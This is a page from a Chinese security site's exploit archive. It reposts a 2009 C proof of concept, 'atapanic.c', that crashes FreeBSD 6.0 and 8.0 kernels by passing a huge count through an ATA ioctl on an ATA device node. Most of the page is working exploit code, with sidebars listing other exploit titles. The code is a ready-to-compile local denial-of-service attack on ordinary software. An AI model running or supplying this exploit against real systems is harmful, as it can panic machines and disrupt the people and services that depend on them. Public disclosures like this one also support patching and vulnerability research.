首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeBSD 6/8 (ata device) Local Denial of Service Exploit
来源:www.vfcocus.net 作者:Shaun 发布时间:2009-07-14  
/* atapanic.c
*
* by Shaun Colley, 13 July 2009
*
* this panics the freebsd kernel by passing a large value to malloc(9) in one of
* fbsd's ata ioctl's.  tested on freebsd 6.0 and 8.0.  you need read access to the
* ata device in /dev to be able to open() the device.  chain with some race condition
* bug?
*
* - shaun
*
*/


#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

struct ata_ioc_requestz {
    union {
struct {
    u_int8_t            command;
    u_int8_t            feature;
    u_int64_t           lba;
    u_int16_t           count;
} ata;
struct {
    char                ccb[16];
} atapi;
    } u;

    caddr_t             data;
    int                 count;
    int                 flags;

    int                 timeout;
    int                 error;
};


#define IOCATAREQUEST           _IOWR('a', 100, struct ata_ioc_requestz)

int main() {

struct ata_ioc_requestz evil;
int fd;

evil.count = 0xffffffff;
fd = open("/dev/acd0", O_RDONLY);  /* /dev/acd0 is one of my ata devices */

ioctl(fd, IOCATAREQUEST, &evil);

/* should never reach here if kernel panics */
return 0;   
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ScITE Editor 1.72 Local Crash
·Openswan <= 2.4.12/2.6.16 Inse
·RunCMS <= 1.6.3 (double ext) R
·Mp3-Nator 2.0 (ListData.dat) U
·Tandberg MXP F7.0 (USER) Remot
·Mozilla Firefox 3.5 Remote Buf
·FotoFlexer suffers from a remo
·HTMLDOC <= 1.8.27 Bufferoverfl
·Photo DVD Maker Pro versions 8
·JetAudio 7.5.3 COWON Media Cen
·Pirch IRC 98 Client (response)
·Icarus 2.0 (.ICP File) Local S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved